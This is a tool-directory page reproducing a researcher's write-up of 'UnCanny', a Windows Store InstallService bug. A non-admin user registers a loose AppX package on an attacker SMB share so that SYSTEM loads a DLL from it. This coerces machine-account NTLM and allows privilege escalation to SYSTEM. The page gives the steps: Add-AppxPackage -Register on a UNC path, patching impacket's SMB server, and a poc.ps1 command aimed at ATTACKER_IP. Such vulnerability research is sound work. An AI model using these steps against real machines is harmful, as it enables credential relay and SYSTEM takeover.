Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
UnCanny — Another new coercion primitive with LPE - machine-account NTLM coercion from a non-admin user via Windows Store InstallService plugin resolution experiments | Kitploit
Tools/GitHubGitHub/0xhossam/uncanny
Privilege EscalationExploitationLateral MovementPapers & ResearchLearning & EducationRed TeamingPayload Development
GitHub0xhossam/uncanny

UnCanny

Another new coercion primitive with LPE - machine-account NTLM coercion from a non-admin user via Windows Store InstallService plugin resolution experiments

View Repository
8712123 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

UNCanny Coerce

The idea behind this research was simple as i wanted to find my own coercion technique. i started by looking for new RPC attack surfaces, but after microsoft added RPC activity monitoring (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), i decided to take a different path.

UNCanny is the result of that rabbit hole. it is not something i would consider reliable for real red team ops because of its limitation, but i still think the notes are worth publishing for anyone digging into the same area.


shortly this primitive is:

a normal user hands the windows store install service some install metadata -> the service, running as local system, resolves a "plugin" for that work -> the resolver ends up doing LoadLibraryW on a path the user influenced -> that path is a UNC -> outbound NTLM as the machine account.

the component is the windows store install service world: InstallService.dll hosted in InstallService.exe, running as NT AUTHORITY\SYSTEM.

finding the weird surface

The rabbit hole started with InstallService.dll. I was looking at windows components that install packages, restore state after reboot, resume failed jobs, read local/remote content, and load plugins. anything that has those four things together usually has a boundary confusion somewhere:

  • it has a public-ish caller side because normal userland needs to request installs
  • it has a privileged worker side because package install/state management needs service rights
  • it has serialization because work must survive reboot
  • it has plugin loading because windows likes making simple things modular and scary

The interesting runtime class was:

Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

That propertiesJson parameter is where the fun lives. install behaviour is described by json fields like FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

At first I thought the bug was going to be "put a UNC in SourceUri and let the service read it". that would have been beautiful, but windows was not that generous. i reversed the built-in fulfillment path (CreateInstallServiceWorkFromBridge, InstallService.dll) and the built-in plugins just don't do that:

  • WU parses the json and goes out over WinHTTP / Delivery Optimization. never SMB.
  • ChainedWork and XVC are the same story or are not even present on a client.
  • a raw SourceUri either gets rejected fast or routed into catalog validation. CreateCatalogItemFromLocalData despite the name builds a catalog item from the in-memory serialized json, it does not go open a file.

So the naive idea is a dead end, this feature is very intersting and i'm doing other research primitives on it too and that is worth saying out loud so nobody wastes a week on it :)

SYSTEM touch a path

the only place in the whole create/restore flow where the service touches an attacker-influenced path is plugin activation. the function is PluginHelpers::ActivatePlugin. it resolves FulfillmentPluginId in this order:

  1. "WU" -> built-in
  2. "ChainedWork" -> built-in
  3. value found in StaticPluginMap (HKLM) -> CoCreateInstance a CLSID, or activate a WinRT class
  4. "XVC" -> xbox factory
  5. anything else -> treat it as a package family name. FindPackagesForUser(pfn) -> take that package's InstalledLocation.Path -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

branch 5 is the one and PluginHelpers::IsPluginAvailable confirms the gate: it returns true for any FulfillmentPluginId that matches an installed package, via the exact same FindPackagesForUser lookup.

alt text

so if a FulfillmentPluginId points at a package whose InstalledLocation is a UNC, then InstallService.exe running as SYSTEM does:

LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW has to connect to \\attacker\share and authenticate before it can find out the dll isn't there and that authentication is the coercion and the dll never has to exist.

alt text

the actual primitive

the only question left is "how does a normal user get a package whose InstalledLocation is a UNC". the answer is loose-file registration, which is a per-user, non-elevated operation:

Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

windows registers the package "in place", so the registered InstalledLocation is literally the UNC you pointed at. then you trigger the work with that package's family name as the plugin id.

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )

caller is a normal user, the network authentication is the machine account.

alt text

low-priv user triggered it, machine account authenticated. windows' own loader did the UNC touch, not the caller.

coercion over smb

attacker side

two things to sort before running:

  • impacket-smbserver reports filesystem type XTFS. AppX refuses to register on non-NTFS shares (0x80073CFD). patch the FileSystemName field in impacket/smbserver.py to NTFS.

  • the share needs AppxManifest.xml, logo.png, dummy.exe. no InstallServicePlugin.dll needed. MaxVersionTested in the manifest must be ≤ target build (winver on the target to check).

You can run poc/setup.sh from the repo root on Kali. it populates the share, patches impacket, stages poc.ps1 on the target via smbclient if TARGET_IP and TARGET_CREDS are set, and starts the server ;-)

Then on your windows workstation as the low-priv user from an interactive session:

powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

There is a second side to the same bug that is more direct than coercion. if InstallServicePlugin.dll actually exists on the UNC package path, the service still reaches the same LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) branch, but this time the loader succeeds and the dll is mapped inside the store install service process as NT AUTHORITY\SYSTEM.

So I got hyped trying to proof for this issue and wrote the poc in lpe/. the important thing is not another package registration trick, it is the same registered loose package being reused as the plugin package. the harness asks the low-priv user's package family name with Get-AppxPackage, passes that PFN as FulfillmentPluginId, sets SkipCatalogLookup=true, and includes SerializedFulfillmentData. that last field matters because InstallQueue2::CreateWork rejects the request with 0x80070057 if catalog lookup is skipped without fulfillment data.

Download Tool